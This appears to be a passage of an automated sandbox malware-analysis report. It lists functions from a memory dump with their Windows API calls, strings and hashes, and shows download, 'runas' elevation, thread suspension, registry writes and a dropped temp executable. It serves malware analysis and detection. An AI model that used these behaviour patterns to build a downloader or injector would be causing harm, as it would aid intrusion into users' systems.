Instruction Fuzzy Hash: A441A3B1804218AEDF20DF69CC89AEABBB9EF55304F1442DEE41DD3251DB389E858F54

Uniqueness

Uniqueness Score: -1.00%

Function 0041D41B, Relevance: 19.6, APIs: 13, Instructions: 113COMMON

Download Yara Rule

APIs

___free_lconv_mon.LIBCMT ref: 0041D45F

Part of subcall function 0041CFF8: _free.LIBCMT ref: 0041D015
Part of subcall function 0041CFF8: _free.LIBCMT ref: 0041D027
Part of subcall function 0041CFF8: _free.LIBCMT ref: 0041D039
Part of subcall function 0041CFF8: _free.LIBCMT ref: 0041D04B
Part of subcall function 0041CFF8: _free.LIBCMT ref: 0041D05D
Part of subcall function 0041CFF8: _free.LIBCMT ref: 0041D06F
Part of subcall function 0041CFF8: _free.LIBCMT ref: 0041D081
Part of subcall function 0041CFF8: _free.LIBCMT ref: 0041D093
Part of subcall function 0041CFF8: _free.LIBCMT ref: 0041D0A5
Part of subcall function 0041CFF8: _free.LIBCMT ref: 0041D0B7
Part of subcall function 0041CFF8: _free.LIBCMT ref: 0041D0C9
Part of subcall function 0041CFF8: _free.LIBCMT ref: 0041D0DB
Part of subcall function 0041CFF8: _free.LIBCMT ref: 0041D0ED

_free.LIBCMT ref: 0041D454

Part of subcall function 00416EF1: HeapFree.KERNEL32(00000000,00000000,?,00415FEE), ref: 00416F07
Part of subcall function 00416EF1: GetLastError.KERNEL32(?,?,00415FEE), ref: 00416F19

_free.LIBCMT ref: 0041D476
_free.LIBCMT ref: 0041D48B
_free.LIBCMT ref: 0041D496
_free.LIBCMT ref: 0041D4B8
_free.LIBCMT ref: 0041D4CB
_free.LIBCMT ref: 0041D4D9
_free.LIBCMT ref: 0041D4E4
_free.LIBCMT ref: 0041D51C
_free.LIBCMT ref: 0041D523
_free.LIBCMT ref: 0041D540
_free.LIBCMT ref: 0041D558

Memory Dump Source

Source File: 00000023.00000002.513536003.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: _free$ErrorFreeHeapLast___free_lconv_mon
String ID:
API String ID: 161543041-0
Opcode ID: 4a8b5a15acc7a14c50cd063d573e4647b370686c1df12e260f6979065f655518
Instruction ID: 50ea2c571d89528eb841cca84a523e4834d369b8652474179c5c405d4f55c08d
Opcode Fuzzy Hash: 4a8b5a15acc7a14c50cd063d573e4647b370686c1df12e260f6979065f655518
Instruction Fuzzy Hash: 96315CB1A00305AFEB20AA7AD845BDB73E9AF01355F11456FF055D7291DF38E9C0CA28

Uniqueness

Uniqueness Score: -1.00%

Function 00406420, Relevance: 16.2, APIs: 8, Strings: 1, Instructions: 401COMMON

Download Yara Rule

Strings

(, xrefs: 00406AA4

Memory Dump Source

Source File: 00000023.00000002.513536003.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID:
String ID: (
API String ID: 0-3887548279
Opcode ID: 19123f79e132b936897f44474bffd52edbe5c6886953cdf5fdfb6d6175a71564
Instruction ID: 81799206c43821804c4a20be9679b696e1a931c1d14d3e8bba23beb978798f01
Opcode Fuzzy Hash: 19123f79e132b936897f44474bffd52edbe5c6886953cdf5fdfb6d6175a71564
Instruction Fuzzy Hash: 45F1D470E002189BEF24DF64CD85BCEBBB5AF45304F6041AAE406772C6D7799A88CF95

Uniqueness

Uniqueness Score: -1.00%

Function 004025B0, Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 136networkfileCOMMON

Download Yara Rule

APIs

InternetOpenW.WININET(0042DDC8,00000000,00000000,00000000,00000000), ref: 00402651
InternetOpenUrlW.WININET(00000000,?,00000000,00000000,00000000,00000000), ref: 00402663
InternetReadFile.WININET(00000000,?,00032000,00032000), ref: 0040267A
InternetCloseHandle.WININET(00000000), ref: 0040268B
InternetCloseHandle.WININET(00000000), ref: 0040268E
InternetCloseHandle.WININET(00000000), ref: 0040269F
InternetCloseHandle.WININET(00000000), ref: 004026A2

Strings

<, xrefs: 0040282C
runas, xrefs: 00402845

Memory Dump Source

Source File: 00000023.00000002.513536003.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: Internet$CloseHandle$Open$FileRead
String ID: <$runas
API String ID: 4294395943-1187129395
Opcode ID: dbed66f93d88aab1a84d3a5bcc6dbebe12c00b8e98a92735a600c58b5f864ed0
Instruction ID: 4f2aa7ced7745591621ca48946de33bcd90e57f982052273b2f6147649fe377b
Opcode Fuzzy Hash: dbed66f93d88aab1a84d3a5bcc6dbebe12c00b8e98a92735a600c58b5f864ed0
Instruction Fuzzy Hash: FE41F631E00118EBDB18DF64CD85BEEB779EF45300F60846EE511B72D1DA79A981CB98

Uniqueness

Uniqueness Score: -1.00%

Function 004176CA, Relevance: 15.1, APIs: 10, Instructions: 69COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 004176E0

Part of subcall function 00416EF1: HeapFree.KERNEL32(00000000,00000000,?,00415FEE), ref: 00416F07
Part of subcall function 00416EF1: GetLastError.KERNEL32(?,?,00415FEE), ref: 00416F19

_free.LIBCMT ref: 004176EC
_free.LIBCMT ref: 004176F7
_free.LIBCMT ref: 00417702
_free.LIBCMT ref: 0041770D
_free.LIBCMT ref: 00417718
_free.LIBCMT ref: 00417723
_free.LIBCMT ref: 0041772E
_free.LIBCMT ref: 00417739
_free.LIBCMT ref: 00417747

Memory Dump Source

Source File: 00000023.00000002.513536003.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 9705148b6d4611f199b29fbf6d503725fc2e82af552bd358df9aa8192e56abba
Instruction ID: 8552fc7ea43e72a572bbd812109cf70c2885aab577f64bb916b8bbd22fb01822
Opcode Fuzzy Hash: 9705148b6d4611f199b29fbf6d503725fc2e82af552bd358df9aa8192e56abba
Instruction Fuzzy Hash: C2219A7A90020CAFCB41EF99C891DDE7BB9BF08345F0141AAF9159B521DB35EA94CB84

Uniqueness

Uniqueness Score: -1.00%

Function 00423933, Relevance: 14.1, APIs: 1, Strings: 7, Instructions: 147COMMON

Download Yara Rule

APIs

DecodePointer.KERNEL32(?,?,?,?,?,?,?,?,?,0042329F), ref: 0042394C

Strings

sqrt, xrefs: 00423A8B
acos, xrefs: 00423A82
pow, xrefs: 004239EA, 00423A94, 00423AE1
asin, xrefs: 00423A79
log10, xrefs: 0042398E, 0042399D
exp, xrefs: 004239CB, 00423A30
log, xrefs: 004239A9, 004239B8

Memory Dump Source

Source File: 00000023.00000002.513536003.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: DecodePointer
String ID: acos$asin$exp$log$log10$pow$sqrt
API String ID: 3527080286-3064271455
Opcode ID: 504ce4a89961955855953c7fec54383e4d614d0e3e65c84ccae8c467bfef1074
Instruction ID: 6a5f19575219a5169c7ceb1411dbfa3ad7b9437e9bbbb56366fd5da6a923b00c
Opcode Fuzzy Hash: 504ce4a89961955855953c7fec54383e4d614d0e3e65c84ccae8c467bfef1074
Instruction Fuzzy Hash: 80514B70B0052ACBCF109F59F84C1AEBF74FB45306F914166E481A7254CBBC8A56CB5E

Uniqueness

Uniqueness Score: -1.00%

Function 00411330, Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 168COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 00411367
___except_validate_context_record.LIBVCRUNTIME ref: 0041136F
_ValidateLocalCookies.LIBCMT ref: 004113F8
__IsNonwritableInCurrentImage.LIBCMT ref: 00411423
_ValidateLocalCookies.LIBCMT ref: 00411478

Strings

csm, xrefs: 0041140D
csm, xrefs: 004114A1

Memory Dump Source

Source File: 00000023.00000002.513536003.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm$csm
API String ID: 1170836740-3733052814
Opcode ID: 0a2e03c3cc3388b84d8059a2bf9742adecf81b4355985ee0c223dd53229766d7
Instruction ID: 443292d548cbf199b304917c61bba0129b456710ce5030ba19dda583cf5808e7
Opcode Fuzzy Hash: 0a2e03c3cc3388b84d8059a2bf9742adecf81b4355985ee0c223dd53229766d7
Instruction Fuzzy Hash: 2E51E634A00209DFCF14DF29C840ADE7BB6AF44318F14819BEA155B3B2C779D985CB99

Uniqueness

Uniqueness Score: -1.00%

Function 00417A9C, Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 77COMMON

Download Yara Rule

Strings

ext-ms-, xrefs: 00417B07
b;A, xrefs: 00417A9E
api-ms-, xrefs: 00417AF3

Memory Dump Source

Source File: 00000023.00000002.513536003.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID:
String ID: api-ms-$b;A$ext-ms-
API String ID: 0-691673382
Opcode ID: 926ed5f0ae685680bfc3b1786a81ce9bd9ee6e83f653bdea50a098b4b88086d6
Instruction ID: d127285d5f41063e43d6378005b6bea1fad54d3cbb96ef2da85d551c17414448
Opcode Fuzzy Hash: 926ed5f0ae685680bfc3b1786a81ce9bd9ee6e83f653bdea50a098b4b88086d6
Instruction Fuzzy Hash: C921C631A4E220ABDB315B24DC44E9F77789F057A8F250126ED16A7291D738FD81C6E8

Uniqueness

Uniqueness Score: -1.00%

Function 0041C833, Relevance: 12.2, APIs: 8, Instructions: 203COMMON

Download Yara Rule

APIs

___from_strstr_to_strchr.LIBCMT ref: 0041C85D
_free.LIBCMT ref: 0041C936
_free.LIBCMT ref: 0041C963

Memory Dump Source

Source File: 00000023.00000002.513536003.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: _free$___from_strstr_to_strchr
String ID:
API String ID: 3409252457-0
Opcode ID: 298cbc08b0b50112b170cff692f830c9936c2205b2b2d4ec8c178a3939d7f4dc
Instruction ID: 8bd314d26a2b932e542bac08d40920f00610aeb0e4a44e76c03c21304b8fcb19
Opcode Fuzzy Hash: 298cbc08b0b50112b170cff692f830c9936c2205b2b2d4ec8c178a3939d7f4dc
Instruction Fuzzy Hash: C95104B0988349AFDB11EFA9DCC2BEE7BA4AF01354F04416FE51097281DB79C9818B5D

Uniqueness

Uniqueness Score: -1.00%

Function 00413233, Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 141pipeCOMMON

Download Yara Rule

APIs

GetFileType.KERNEL32(?,?,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,00413165), ref: 00413255
GetFileInformationByHandle.KERNEL32(?,?), ref: 004132AF
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00413165,?,000000FF,00000000,00000000), ref: 0041333D
__dosmaperr.LIBCMT ref: 00413344
PeekNamedPipe.KERNEL32(?,00000000,00000000,00000000,?,00000000), ref: 00413381

Part of subcall function 004135A9: __dosmaperr.LIBCMT ref: 004135DE

Strings

e1A, xrefs: 0041324D

Memory Dump Source

Source File: 00000023.00000002.513536003.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: File__dosmaperr$ErrorHandleInformationLastNamedPeekPipeType
String ID: e1A
API String ID: 1206951868-1994106477
Opcode ID: 9e75fcf97521c0e012578af4ab8d31cf15f6d097c0de31b8fbb2230b4899aa8c
Instruction ID: 1ef8cb12aac03d9d694b3d7e0116a252e14ade2b622e1d486af085e5d9453c22
Opcode Fuzzy Hash: 9e75fcf97521c0e012578af4ab8d31cf15f6d097c0de31b8fbb2230b4899aa8c
Instruction Fuzzy Hash: CC414175900248AFDB24DFA6DC459EFBBF9EF88305700852EF956D3650DB389A81CB18

Uniqueness

Uniqueness Score: -1.00%

Function 00406E20, Relevance: 10.6, APIs: 7, Instructions: 105networkfileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000080,00000000,00000000,00000000,6FD4FB10), ref: 00406E55
InternetOpenA.WININET(0042DD45,00000000,00000000,00000000,00000000), ref: 00406E6A
InternetOpenUrlA.WININET(00000000,?,00000000,00000000,00000000,00000000), ref: 00406E8A
InternetReadFile.WININET(00000000,?,00010000,00010000), ref: 00406EA1
CloseHandle.KERNEL32(00000000), ref: 00406EE3
InternetCloseHandle.WININET(?), ref: 00406EF2
InternetCloseHandle.WININET(00000000), ref: 00406EF5

Memory Dump Source

Source File: 00000023.00000002.513536003.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: Internet$CloseHandle$FileOpen$CreateRead
String ID:
API String ID: 4113138902-0
Opcode ID: acf85ef360ff3810226c806b80a023ac5de968b404f9ed3c63e296ebf1785e39
Instruction ID: c90ade5f98ba13138079da08bdf87681fe032ade3c02551d2054e4910693c144
Opcode Fuzzy Hash: acf85ef360ff3810226c806b80a023ac5de968b404f9ed3c63e296ebf1785e39
Instruction Fuzzy Hash: 6C31C771740208BBEB20CF65DC85FDE3769EB48704F604129FA05A72C1DBB9E9858B68

Uniqueness

Uniqueness Score: -1.00%

Function 004134FB, Relevance: 10.6, APIs: 1, Strings: 5, Instructions: 74COMMON

Download Yara Rule

APIs

_wcsrchr.LIBVCRUNTIME ref: 0041353D

Strings

.com, xrefs: 0041357D
p1A, xrefs: 0041350A, 00413511, 0041353C
.exe, xrefs: 0041354A
.bat, xrefs: 0041356C
.cmd, xrefs: 0041355B

Memory Dump Source

Source File: 00000023.00000002.513536003.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: _wcsrchr
String ID: .bat$.cmd$.com$.exe$p1A
API String ID: 1752292252-446200476
Opcode ID: 77ddbc1fb28f9346dad7768a5891c9b58b5a2fbbf90a09ed820187877b3d27dc
Instruction ID: bcc72f4625e2202fab4b5954b88b95b123fe922178dce07f115dcd98bc300063
Opcode Fuzzy Hash: 77ddbc1fb28f9346dad7768a5891c9b58b5a2fbbf90a09ed820187877b3d27dc
Instruction Fuzzy Hash: C1010C37744229315714141A6D027AB579B8B86F7572A011FFC94F73C1EE4DDF81119D

Uniqueness

Uniqueness Score: -1.00%

Function 0041D197, Relevance: 10.6, APIs: 7, Instructions: 65COMMON

Download Yara Rule

APIs

Part of subcall function 0041D15F: _free.LIBCMT ref: 0041D184

_free.LIBCMT ref: 0041D1E5

Part of subcall function 00416EF1: HeapFree.KERNEL32(00000000,00000000,?,00415FEE), ref: 00416F07
Part of subcall function 00416EF1: GetLastError.KERNEL32(?,?,00415FEE), ref: 00416F19

_free.LIBCMT ref: 0041D1F0
_free.LIBCMT ref: 0041D1FB
_free.LIBCMT ref: 0041D24F
_free.LIBCMT ref: 0041D25A
_free.LIBCMT ref: 0041D265
_free.LIBCMT ref: 0041D270

Memory Dump Source

Source File: 00000023.00000002.513536003.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 17f53bcb001aa0cf27f4b28cdacd85efe4fe4569033449001c41b86b803b0e8a
Instruction ID: f8882d54c5558631ee0fee8316dc2db61d1c4e104af911d9b1191bf2b5208dfa
Opcode Fuzzy Hash: 17f53bcb001aa0cf27f4b28cdacd85efe4fe4569033449001c41b86b803b0e8a
Instruction Fuzzy Hash: A11151B2940B08BBDA20B7B2CC47FCB779C9F02744F40092EB29966653EE7DF5848654

Uniqueness

Uniqueness Score: -1.00%

Function 00404B80, Relevance: 9.5, APIs: 6, Instructions: 479COMMON

Download Yara Rule

APIs

GetTempPathW.KERNEL32(00000104,?,?,?), ref: 00404BAE

Memory Dump Source

Source File: 00000023.00000002.513536003.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: PathTemp
String ID:
API String ID: 2920410445-0
Opcode ID: 78ab19c2cd6d1b42162d5474212e4e25970e0ab4a3d4ef8cd8fe6b02b202d71e
Instruction ID: f157005385e0a652af4bd7c05d3f063f1270be288214127a69b4afc17ff825c1
Opcode Fuzzy Hash: 78ab19c2cd6d1b42162d5474212e4e25970e0ab4a3d4ef8cd8fe6b02b202d71e
Instruction Fuzzy Hash: 8AF1F370E00109ABDF14EFA8D989BEEB7B6EF84304F10416EE505B7281D7786A49CF95

Uniqueness

Uniqueness Score: -1.00%

Function 00418D47, Relevance: 9.3, APIs: 6, Instructions: 318fileCOMMON

Download Yara Rule

APIs

GetConsoleCP.KERNEL32(?,00403FB0,00000000), ref: 00418D8F
__fassign.LIBCMT ref: 00418F6E
__fassign.LIBCMT ref: 00418F8B
WriteFile.KERNEL32(?,00403FB0,00000000,?,00000000,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00418FD3
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 00419013
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,00000000), ref: 004190BF

Memory Dump Source

Source File: 00000023.00000002.513536003.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: FileWrite__fassign$ConsoleErrorLast
String ID:
API String ID: 4031098158-0
Opcode ID: f050310d0483d86af2e03a57491f9d37167f6ea2db340521932093bbfd84e8bf
Instruction ID: 75410871024b335005da964c9d13f083a9eb0b4e53ead0d3f89bf77129958688
Opcode Fuzzy Hash: f050310d0483d86af2e03a57491f9d37167f6ea2db340521932093bbfd84e8bf
Instruction Fuzzy Hash: 4CD1AC71D012589FCB15CFA8C9909EEBBB5BF09314F28016EE815F7342D635AE86CB58

Uniqueness

Uniqueness Score: -1.00%

Function 0041A0FA, Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 320COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 0041A181

Strings

;A, xrefs: 0041A0FC

Memory Dump Source

Source File: 00000023.00000002.513536003.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: _strrchr
String ID: ;A
API String ID: 3213747228-3646425762
Opcode ID: 186601d8a17e2b5d785641720b47b2babc382d84c469d94d16a1b433b5ce272a
Instruction ID: 158e87746630bf47438602d4651890c08833f2b27a6069fc311cf8781cfc05b7
Opcode Fuzzy Hash: 186601d8a17e2b5d785641720b47b2babc382d84c469d94d16a1b433b5ce272a
Instruction Fuzzy Hash: 9FB13332A062599FDB118F68C8817EEBBE5EF55300F1480ABE855DB341D23D8D91CB6A

Uniqueness

Uniqueness Score: -1.00%

Function 00411734, Relevance: 9.1, APIs: 6, Instructions: 60COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,0041172B,00411599,00410EA8), ref: 00411742
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 00411750
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 00411769
SetLastError.KERNEL32(00000000,0041172B,00411599,00410EA8), ref: 004117BB

Memory Dump Source

Source File: 00000023.00000002.513536003.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: 997330488df08d38d93276a35cddbdf8f1a131b59de40d2c04e92889589716e3
Instruction ID: 860dcfad4abf594afe8c7474b0384b0ac8a202d594fde1e5f8320ec59faa4e6f
Opcode Fuzzy Hash: 997330488df08d38d93276a35cddbdf8f1a131b59de40d2c04e92889589716e3
Instruction Fuzzy Hash: 0D01B53260E7116EE62427B56C85DEB2A68EB053B9720033FF624443F1EF1958C2514C

Uniqueness

Uniqueness Score: -1.00%

Function 00402A10, Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 127threadsleepinjectionCOMMON

Download Yara Rule

APIs

Part of subcall function 0040FB00: Concurrency::cancel_current_task.LIBCPMT ref: 0040FC21

CreateThread.KERNEL32 ref: 00402A76
Sleep.KERNEL32(00001388,?,?,?,?,?,?,?,?,?,?), ref: 00402A83
SuspendThread.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?), ref: 00402A8A

Strings

rundll32.exe, xrefs: 00402DFC
runas, xrefs: 00402BCF

Memory Dump Source

Source File: 00000023.00000002.513536003.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: Thread$Concurrency::cancel_current_taskCreateSleepSuspend
String ID: runas$rundll32.exe
API String ID: 1039963361-4081450877
Opcode ID: 104615dcb2f6bb93310baeadac18bbe7a65578bb9d5774e6a6db0ec42edc346d
Instruction ID: 9d6689edbb06c31ad6135de252e78b731586f65b3a74e78112f4966584739bec
Opcode Fuzzy Hash: 104615dcb2f6bb93310baeadac18bbe7a65578bb9d5774e6a6db0ec42edc346d
Instruction Fuzzy Hash: 1341F831210108ABEB18DF28CE99BDD3B66EF85344F50852AF915A73D5C7BDE5C08B98

Uniqueness

Uniqueness Score: -1.00%

Function 0041BD88, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 83COMMON

Download Yara Rule

Strings

C:\Users\user\AppData\Local\Temp\39F6.exe, xrefs: 0041BD8D

Memory Dump Source

Source File: 00000023.00000002.513536003.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID:
String ID: C:\Users\user\AppData\Local\Temp\39F6.exe
API String ID: 0-1056413258
Opcode ID: c55c4c084ad2c230f635acb70b1e9e70acdd672452902c9fb3f822ecf2e8c030
Instruction ID: 9127f01f4315ebc8f16a493d46457355ec1603a27958eadf8904a15b88e7e18e
Opcode Fuzzy Hash: c55c4c084ad2c230f635acb70b1e9e70acdd672452902c9fb3f822ecf2e8c030
Instruction Fuzzy Hash: EE219F71200205BFDB21AF76DC81DEB7BACEF403A8710451AFA15D7251EB38EC9187A8

Uniqueness

Uniqueness Score: -1.00%

Function 00411A44, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 68COMMON

Download Yara Rule

Strings

api-ms-, xrefs: 00411A94

Memory Dump Source

Source File: 00000023.00000002.513536003.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID:
String ID: api-ms-
API String ID: 0-2084034818
Opcode ID: 129c0c54e3abbf2d209a9df6885455a0cfcb36384d0db97bc26f09fe37f2bd5a
Instruction ID: 955e40c0dea3ab6f810ae731caca8c4a7816c4a1cfb12c2502f3fba403f5261b
Opcode Fuzzy Hash: 129c0c54e3abbf2d209a9df6885455a0cfcb36384d0db97bc26f09fe37f2bd5a
Instruction Fuzzy Hash: 0511D631A07625ABDB218B659C40A9F3F58AF017E0F250226EE02A73A0DA74DD41C6EC

Uniqueness

Uniqueness Score: -1.00%

Function 00412AF3, Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 30libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,?,?,00412AE8,?,?,00412AB0,?,?,?), ref: 00412B08
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 00412B1B
FreeLibrary.KERNEL32(00000000,?,?,00412AE8,?,?,00412AB0,?,?,?), ref: 00412B3E

Strings

CorExitProcess, xrefs: 00412B13
mscoree.dll, xrefs: 00412B01

Memory Dump Source

Source File: 00000023.00000002.513536003.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 9b25b2480156a898975ff9207fa4a0d1f543927fad6c89e789778ca8823a3494
Instruction ID: ab2832f3fe23ca87e0ad0156c011b61726dac4ed9847c0966e3ce458ca91beae
Opcode Fuzzy Hash: 9b25b2480156a898975ff9207fa4a0d1f543927fad6c89e789778ca8823a3494
Instruction Fuzzy Hash: 7BF08230606218FBDB219F50DE09FDE7B75EB04755F550069E501E11A0CFB89E51DB98

Uniqueness

Uniqueness Score: -1.00%

Function 0040400B, Relevance: 7.7, APIs: 5, Instructions: 202registryCOMMON

Download Yara Rule

APIs

RegQueryValueExA.ADVAPI32(?,?,00000000,00000000,?,?), ref: 00404029
RegCloseKey.ADVAPI32(?,?,00000400,00000000,00000001,?), ref: 00404032
RegCreateKeyExA.ADVAPI32(80000001,00000001,00000000,00000000,00000000,0002001F,00000000,?,00000000), ref: 00404121
RegOpenKeyExA.ADVAPI32(80000001,00000001,00000000,00000002,80000001), ref: 00404140
RegSetValueExA.ADVAPI32(80000001,?,00000000,00000001,?,?), ref: 0040416E
GetVersionExW.KERNEL32(0000011C), ref: 00404297

Memory Dump Source

Source File: 00000023.00000002.513536003.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: Value$CloseCreateOpenQueryVersion
String ID:
API String ID: 1990069347-0
Opcode ID: b795bff7d9dbd61778a71f6b8714f05ede033bc06dbca447a7d44dd4b559ec9b
Instruction ID: 35428a474e83a4900ff440f8b748a686624ef1f56daf06dddf0dc8a80db3c158
Opcode Fuzzy Hash: b795bff7d9dbd61778a71f6b8714f05ede033bc06dbca447a7d44dd4b559ec9b
Instruction Fuzzy Hash: D761D771210108AFEB18CF24CD89BDD7B66EB85304F50826DFA05A72C5D779DAC5CB98

Uniqueness

Uniqueness Score: -1.00%

Function 00406EAB, Relevance: 7.6, APIs: 5, Instructions: 140networkfileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32(?,?,?,?,00000000), ref: 00406EC7
InternetReadFile.WININET(?,?,?,?), ref: 00406ED8
CloseHandle.KERNEL32(00000000), ref: 00406EE3
InternetCloseHandle.WININET(?), ref: 00406EF2
InternetCloseHandle.WININET(00000000), ref: 00406EF5

Memory Dump Source

Source File: 00000023.00000002.513536003.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: CloseHandleInternet$File$ReadWrite
String ID:
API String ID: 567989605-0
Opcode ID: a32fe9afdce290d2920971a7f3fd0eb8b44f92f4b835acbfd34d5dd53628fd34
Instruction ID: b596f80699bb5dfcda97062f26df36b7551c0e439f45915eb657df6b444cb575
Opcode Fuzzy Hash: a32fe9afdce290d2920971a7f3fd0eb8b44f92f4b835acbfd34d5dd53628fd34
Instruction Fuzzy Hash: CB41E172A001089BDF14DF64DD85AEE7779EF48314F50422AF815E32C1E63DEAD48BA5

Uniqueness

Uniqueness Score: -1.00%

Function 0041D0F6, Relevance: 7.5, APIs: 5, Instructions: 40COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 0041D10E

Part of subcall function 00416EF1: HeapFree.KERNEL32(00000000,00000000,?,00415FEE), ref: 00416F07
Part of subcall function 00416EF1: GetLastError.KERNEL32(?,?,00415FEE), ref: 00416F19

_free.LIBCMT ref: 0041D120
_free.LIBCMT ref: 0041D132
_free.LIBCMT ref: 0041D144
_free.LIBCMT ref: 0041D156

Memory Dump Source

Source File: 00000023.00000002.513536003.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: f937f6d1b54b543fc24e0c382ca6138a2ca5fa36c124f1f114eabe275f8b2ac5
Instruction ID: a9d5d322ef535835b7be3734f528fe555b201753afd3ff397850c47918d9b861
Opcode Fuzzy Hash: f937f6d1b54b543fc24e0c382ca6138a2ca5fa36c124f1f114eabe275f8b2ac5
Instruction Fuzzy Hash: 0FF04F72900204B7C624FB59E8C6CCB73D9AA05765765091EF009D7A11CF2CFCC18AAC

Uniqueness

Uniqueness Score: -1.00%

Function 0041B7C3, Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 206COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 0041B95D

Strings

*?, xrefs: 0041B806

Memory Dump Source

Source File: 00000023.00000002.513536003.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: _free
String ID: *?
API String ID: 269201875-2564092906
Opcode ID: 93e2d0c1b693f12d10ecb0bf316abb75b0d7c41a6400160db77ddb852c3ad577
Instruction ID: a48c7c345f4992ff98f4397dc473adbd2bfc13863e6457f7dae5a85cb905d9ff
Opcode Fuzzy Hash: 93e2d0c1b693f12d10ecb0bf316abb75b0d7c41a6400160db77ddb852c3ad577
Instruction Fuzzy Hash: 4C616FB5E002199FCB14DFA9C8815EEFBF9EF48714B24816EE855E7300D7399E818B94

Uniqueness

Uniqueness Score: -1.00%

Function 00417F35, Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 17fileCOMMON

Download Yara Rule

APIs

DeleteFileW.KERNEL32(B0A,?,00413042,?,?,?,74E06490), ref: 00417F3D
GetLastError.KERNEL32(?,00413042,?,?,?,74E06490), ref: 00417F47
__dosmaperr.LIBCMT ref: 00417F4E

Strings

B0A, xrefs: 00417F3A

Memory Dump Source

Source File: 00000023.00000002.513536003.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: DeleteErrorFileLast__dosmaperr
String ID: B0A
API String ID: 1545401867-1388496713
Opcode ID: d63a6bca369163ee187c2c137973c787c8a99411da825b01da148e57939d64f4
Instruction ID: ae8baa5e56ff33e3e1d8fee4d6f07788f160e56c5055d6558c1eb3920ee4f3c4
Opcode Fuzzy Hash: d63a6bca369163ee187c2c137973c787c8a99411da825b01da148e57939d64f4
Instruction Fuzzy Hash: 4DD02232246108378F102FF2FC0881F3F1C8E803B4308062AF02CC00E1DE39C8939108

Uniqueness

Uniqueness Score: -1.00%

Function 00421F4E, Relevance: 6.1, APIs: 4, Instructions: 132fileCOMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 0042201E
_free.LIBCMT ref: 00422047
SetEndOfFile.KERNEL32(00000000,0041E435,00000000,00416D8E,?,?,?,?,?,?,?,0041E435,00416D8E,00000000), ref: 00422079
GetLastError.KERNEL32(?,?,?,?,?,?,?,0041E435,00416D8E,00000000,?,?,?,?,00000000), ref: 00422095

Memory Dump Source

Source File: 00000023.00000002.513536003.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: _free$ErrorFileLast
String ID:
